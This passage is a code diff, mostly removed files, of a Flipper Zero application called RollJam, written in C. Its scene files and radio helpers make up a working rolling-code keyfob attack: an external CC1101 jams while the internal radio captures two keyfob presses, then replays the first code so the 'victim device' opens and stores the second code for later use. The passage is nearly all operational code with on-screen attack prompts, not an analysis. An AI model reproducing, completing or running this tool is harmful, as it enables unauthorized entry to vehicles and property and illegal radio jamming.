cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
cap_ctx_reset(&g_cap);
if(!app->signal_first.valid) {
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}
@@ -1,25 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
void rolljam_capture_start(RollJamApp* app);
void rolljam_capture_stop(RollJamApp* app);
bool rolljam_signal_is_valid(RawSignal* signal);
void rolljam_signal_cleanup(RawSignal* signal);
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
-21
View File
@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c
-232
View File
@@ -1,232 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}
-158
View File
@@ -1,158 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
RawSignal signal_first;
RawSignal signal_second;
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
volatile bool raw_capture_active;
} RollJamApp;
Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 B

@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname
@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;
@@ -1,126 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
rolljam_capture_stop(app);
furi_delay_ms(50);
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,64 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
notification_message(app->notification, &sequence_blink_green_100);
rolljam_jammer_stop(app);
furi_delay_ms(1000);
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}
@@ -1,17 +0,0 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
